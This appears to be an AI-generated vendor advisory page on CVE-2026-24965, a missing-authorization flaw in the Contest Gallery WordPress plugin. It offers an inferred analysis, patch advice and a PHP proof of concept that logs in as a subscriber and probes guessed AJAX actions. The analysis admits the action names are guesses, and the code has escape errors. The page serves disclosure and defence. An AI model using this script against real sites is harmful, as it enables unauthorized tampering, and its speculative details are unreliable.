Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-24965: Contest Gallery <= 28.1.1 – Missing Authorization (contest-gallery)

Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 28.1.1
Patched Version
Disclosed January 8, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-24965 (metadata-based):
This vulnerability is a missing authorization flaw in the Contest Gallery WordPress plugin versions up to and including 28.1.1. The vulnerability allows authenticated attackers with Subscriber-level permissions to perform unauthorized actions. The CVSS score of 4.3 indicates a moderate severity issue with low impact on confidentiality and availability, but with integrity impact.

CWE-862 (Missing Authorization) indicates the plugin fails to verify user capabilities before executing a privileged function. Atomic Edge research infers that a WordPress AJAX handler or admin endpoint lacks a proper capability check (e.g., `current_user_can()`). The description confirms the vulnerability affects all versions up to 28.1.1 and is fixed in 28.1.2. Without code diff access, the exact vulnerable function remains inferred, but the CWE classification strongly suggests an authorization bypass in a protected administrative or management function.

Exploitation requires an authenticated attacker with at least Subscriber-level access. The attacker likely sends a crafted HTTP request to a WordPress AJAX endpoint (`/wp-admin/admin-ajax.php`) with an action parameter specific to the Contest Gallery plugin. Based on WordPress plugin conventions, the action parameter likely begins with `contest_gallery_` or `cg_`. The request would contain parameters that trigger the unauthorized action, such as modifying gallery settings, deleting entries, or manipulating votes. No nonce verification is required due to the missing authorization check.

The patch in version 28.1.2 likely adds a capability check to the vulnerable function. Proper remediation requires implementing a WordPress capability check (e.g., `current_user_can(‘manage_options’)` or a plugin-specific capability) before executing the privileged action. The fix should also include nonce verification for state-changing operations to prevent CSRF attacks. The patched version restricts the function to users with appropriate permissions, typically Administrators or Editors with specific plugin roles.

Successful exploitation allows Subscriber-level users to perform actions reserved for higher-privileged users. The impact includes unauthorized modification of contest data, gallery settings, or media uploads. Attackers could delete or alter photo submissions, manipulate vote counts, or disrupt contest functionality. The vulnerability does not enable privilege escalation to WordPress administrative roles, but it violates the plugin’s intended authorization boundaries.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-24965 - Contest Gallery <= 28.1.1 - Missing Authorization
<?php
/**
 * Proof of Concept for CVE-2026-24965
 * Assumptions based on vulnerability description and WordPress patterns:
 * 1. The vulnerable endpoint is /wp-admin/admin-ajax.php
 * 2. The AJAX action parameter contains 'contest_gallery' or 'cg' prefix
 * 3. No capability check exists for Subscriber-level users
 * 4. The exact action name is unknown, so we test common patterns
 */

$target_url = 'https://example.com/wp-admin/admin-ajax.php';
$username = 'subscriber';
$password = 'password';

// Common Contest Gallery AJAX action patterns based on plugin slug
$action_candidates = [
    'contest_gallery_manage',
    'cg_manage',
    'contest_gallery_delete',
    'cg_delete',
    'contest_gallery_update',
    'cg_update',
    'contest_gallery_save',
    'cg_save'
];

// First, authenticate to get cookies
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => str_replace('/wp-admin/admin-ajax.php', '/wp-login.php', $target_url),
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => $target_url,
        'testcookie' => '1'
    ]),
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEJAR => '/tmp/cookies.txt',
    CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_SSL_VERIFYPEER => false
]);
$response = curl_exec($ch);

if (strpos($response, 'Dashboard') === false && strpos($response, 'admin-ajax.php') === false) {
    die('Authentication failed. Check credentials.');
}

// Test each potential AJAX action
foreach ($action_candidates as $action) {
    curl_setopt_array($ch, [
        CURLOPT_URL => $target_url,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query([
            'action' => $action,
            'nonce' => 'bypassed', // Nonce would normally be required but is missing
            'gallery_id' => '1',   // Common parameter for gallery operations
            'entry_id' => '1'      // Common parameter for entry operations
        ]),
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_COOKIEFILE => '/tmp/cookies.txt'
    ]);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    
    if ($http_code === 200 && !empty($response)) {
        echo "Potential vulnerable action found: $actionn";
        echo "Response: $responsenn";
    }
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School